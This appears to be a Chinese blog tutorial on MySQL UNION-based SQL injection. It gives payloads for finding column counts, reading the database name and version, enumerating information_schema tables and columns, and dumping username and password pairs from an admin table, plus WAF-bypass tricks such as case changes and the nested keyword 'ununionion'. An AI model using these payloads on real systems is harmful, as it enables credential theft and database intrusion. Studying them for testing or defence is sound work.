zoukankan      html  css  js  c++  java
  • sql注入之mysql的联合查询爆破

    mysql的联合查询原理就是对mysql自带的系统表进行查询,因为系统表包含了所有数据库的属性。没有access表猜不出表名列名暴力破解的尴尬。

    上图是我针对mysql的联合查询,画的系统表(系统数据库)的结构

    以查询test数据库为例:

    1.判断列数

    union select 1,2,3,..........  直到页面返回正常为止

    2.判断当前数据库

    union select  database(),2,3,4,5   1的位置将会返回数据库的名字

    数据库名 database()

    数据库版本 version()

    数据库用户 user()

    操作系统 @@version_compile_os

    3.查询表名

    union select  group_concat(table_name),2,3,4,5,6 from information_schema.tables where table_schema='test'

    //group_concat()使多行数据在一列显示

    4.查询列名

    union select group_concat(column_name),2,3,4,5,6 from information_schema.columns where table_name='admin'

    5.查数据 (0x20是空格的意思)

    方法一:

    union select  group_concat(username,0x20,password),2,3,4,5 from test.admin  //将所有数据在一行显示

    方法二

    union select  concat(username,0x20,password),2,3,4,5,6 from one.admin    //因为网页限制只能显示一行数据,所以显示第一行数据 

    union select  concat(username,0x20,password),2,3,4,5,6 from one.admin where username not in ('root')  //把第一行的用户排除掉,第二行自动上来

    union select  concat(username,0x20,password),2,3,4,5,6 from one.admin where username not in ('admin','root') //看第三行数据

    简单绕过waf思路:

    大小写绕过

    ununionion  因为会过滤关键词union,所以这样写过滤后,前面un和后面的ion又拼成了一个新的union

     

  • 相关阅读:
    jQuery(jquery ui,jquery plugins)插件笔记1
    怎样批量删除.svn文件
    js中传递参数为0开头的数字时候,存在转码的问题
    struts文件上传,获取文件名和文件类型
    Log4j配置
    怎样通过CSS控制input输入框有readonly属性的背景色
    EXECUTE IMMEDIATE
    row_number() over(partition by column1 order by column2 desc) rn 用法
    React概述
    Web前端,高性能优化
  • 原文地址:https://www.cnblogs.com/pojun/p/6827772.html
Copyright © 2011-2022 走看看